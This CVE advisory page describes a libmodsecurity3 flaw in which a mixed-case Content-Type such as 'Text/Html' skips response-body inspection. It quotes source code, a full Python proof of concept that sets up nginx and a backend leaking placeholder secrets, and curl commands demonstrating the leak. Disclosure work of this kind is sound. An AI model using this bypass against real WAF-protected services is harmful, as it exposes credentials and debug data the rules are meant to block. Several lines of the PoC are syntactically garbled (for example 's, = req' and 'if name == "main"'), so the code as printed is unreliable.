← Back to CVE List
CVE-2026-73856NVD
Vulnerability Summary
Summary `SecResponseBodyMimeType`: When the backend returns `Content-Type: Text/Html` instead of the standard `text/html`, the comparison will fail, and the response body check for that response will be skipped. As a result, no `RESPONSE_BODY` rules will be evaluated; the entire response body will be forwarded directly to the client, and the log will contain an entry indicating that the inspection was skipped. SecResponseBodyMimeType does not explicitly list any MIME types; by default, it only includes `text/html`, `text/plain`, and `text/xml`. Detail src/transaction.cc 1130-1145 line: ``` const std::set<std::string> &bi = \ m_rules->m_responseBodyTypeToBeInspected.m_value; auto t = bi.find(m_variableResponseContentType.m_value); if (t == bi.end() && m_rules->m_responseBodyTypeToBeInspected.m_set == true) { ms_dbg(5, "Response Content-Type is " \ + m_variableResponseContentType.m_value \ + ". It is not marked to be inspected."); std::string validContetTypes(""); for (std::set<std::string>::iterator i = bi.begin(); i != bi.end(); ++i) { validContetTypes.append(i + " "); } ms_dbg(8, "Content-Type(s) marked to be inspected: " \ + validContetTypes); return true; } ``` PoC ``` !/usr/bin/env python3 import os, pathlib, shutil, socket, subprocess, time, urllib.request, urllib.error BASE = pathlib.Path("/tmp/ghsa-0003-poc") NGINX = "/usr/sbin/nginx" PID_FILE = BASE / "nginx.pid" WAF_PORT = 18087 BACKEND_PORT = 18088 def port_open(port, host="127.0.0.1"): with socket.socket() as s: s.settimeout(0.3) return s.connect_ex((host, port)) == 0 def setup(): os.system(f"fuser -k {BACKEND_PORT}/tcp {WAF_PORT}/tcp 2>/dev/null"); time.sleep(0.3) shutil.rmtree(BASE, ignore_errors=True) BASE.mkdir(parents=True); (BASE/"logs").mkdir(); (BASE/"tmp").mkdir() (BASE/"backend.py").write_text( 'import http.server\n' 'class H(http.server.BaseHTTPRequestHandler):\n' ' def do_GET(self):\n' ' fmt = dict(p.split("=",1) for p in self.path.split("?",1)[1].split("&") if "=" in p).get("format","html") if "?" in self.path else "html"\n' ' ct, body = ("text/html","DB_PASSWORD=supersecret123\\nSECRET_KEY=dontleakme\\n")\n' ' if fmt.lower()=="json": ct,body = "application/json",\'{"secret":"supersecret123"}\\n\'\n' ' elif fmt.lower()=="html": ct,body = "text/html","DB_PASSWORD=supersecret123\\nSECRET_KEY=dontleakme\\n"\n' ' elif fmt.lower()=="plain": ct,body = "text/plain","DB_PASSWORD=supersecret123\\nSECRET_KEY=dontleakme\\n"\n' ' else: ct,body = fmt,"DB_PASSWORD=supersecret123\\nSECRET_KEY=dontleakme\\n"\n' ' b=body.encode(); self.send_response(200); self.send_header("Content-Type",ct)\n' ' self.send_header("Content-Length",str(len(b))); self.end_headers(); self.wfile.write(b)\n' + f'http.server.HTTPServer(("127.0.0.1",{BACKEND_PORT}),H).serve_forever()\n') (BASE/"modsecurity.conf").write_text( 'SecRuleEngine On\nSecResponseBodyAccess On\n' 'SecResponseBodyMimeType text/html text/plain\n' 'SecResponseBodyLimit 524288\nSecResponseBodyLimitAction ProcessPartial\n' 'SecRule RESPONSE_BODY "@contains SECRET_KEY" "id:30001,phase:4,deny,status:403"\n') (BASE/"nginx.conf").write_text( 'load_module /usr/lib/nginx/modules/ndk_http_module.so;\n' 'load_module /usr/lib/nginx/modules/ngx_http_modsecurity_module.so;\n' f'events {{ worker_connections 128; }}\n' f'http {{\n' f' error_log {BASE}/logs/error.log;\n' f' server {{\n' f' listen 127.0.0.1:{WAF_PORT};\n' f' modsecurity on; modsecurity_rules_file {BASE}/modsecurity.conf;\n' f' location / {{ proxy_pass http://127.0.0.1:{BACKEND_PORT}; }}}}}}\n') subprocess.Popen(["/usr/bin/python3", str(BASE/"backend.py")], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) for _ in range(10): if port_open(BACKEND_PORT): break time.sleep(0.3) if not port_open(BACKEND_PORT): return False subprocess.run([NGINX, "-c", str(BASE/"nginx.conf"), "-p", str(BASE), "-g", f"pid {PID_FILE};"], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) for _ in range(10): if port_open(WAF_PORT): break time.sleep(0.3) return port_open(WAF_PORT) def req(path): for attempt in range(3): try: with urllib.request.urlopen(f"http://127.0.0.1:{WAF_PORT}{path}", timeout=5) as r: return r.status, r.read().decode() except urllib.error.HTTPError as e: return e.code, e.read().decode() except: if attempt < 2: time.sleep(0.5) return -1, "" def cleanup(): if PID_FILE.exists(): subprocess.run([NGINX, "-s", "stop", "-c", str(BASE/"nginx.conf"), "-p", str(BASE), "-g", f"pid {PID_FILE};"]) os.system(f"fuser -k {BACKEND_PORT}/tcp {WAF_PORT}/tcp 2>/dev/null") def main(): print("Content-Type Case Bypass PoC") print("=" 40) if os.geteuid() != 0: print("Requires root (sudo)."); return 1 if not setup(): print("Setup failed"); return 1 s, = req("/config?format=html") print(f"Normal (text/html): {'BLOCKED' if s in (403,500) or s==-1 else 'PASSED'} (status={s})") s, b = req("/config?format=Text/Html") leaked = s == 200 and "SECRET_KEY" in b print(f"Bypass (Text/Html): {'LEAKED!' if leaked else ''} (status={s})") s, b = req("/config?format=json") leaked = s == 200 and "secret" in b print(f"Bypass (JSON): {'LEAKED!' if leaked else ''} (status={s})") s, = req("/config?format=plain") print(f"Normal (text/plain): {'BLOCKED' if s in (403,500) or s==-1 else 'PASSED'} (status={s})") cleanup() return 0 if name == "main": raise SystemExit(main()) ``` Simple test: ``` Normal: text/html curl -s 'http://127.0.0.1:18087/config?format=html' HTTP 500 Bypass: Text/Html curl -s 'http://127.0.0.1:18087/config?format=Text/Html' DB_PASSWORD=supersecret123 SECRET_KEY=dontleakme Bypass: JSON curl -s 'http://127.0.0.1:18087/config?format=json' {"secret": "supersecret123"} ``` Impact - Leaks sensitive data that would otherwise be blocked by the RESPONSE_BODY rule - Retrieves complete SQL error messages, stack traces, and debug information
CVSS v3.1 Base Metrics — Score 8.6
Attack VectorNetwork
Attack ComplexityLow
Privileges RequiredNone
User InteractionNone
ScopeChanged
ConfidentialityHigh
IntegrityNone
AvailabilityNone
Affected & Patched Versions
- libmodsecurity3 3.0.0 - 3.0.16
- libmodsecurity3 3.0.17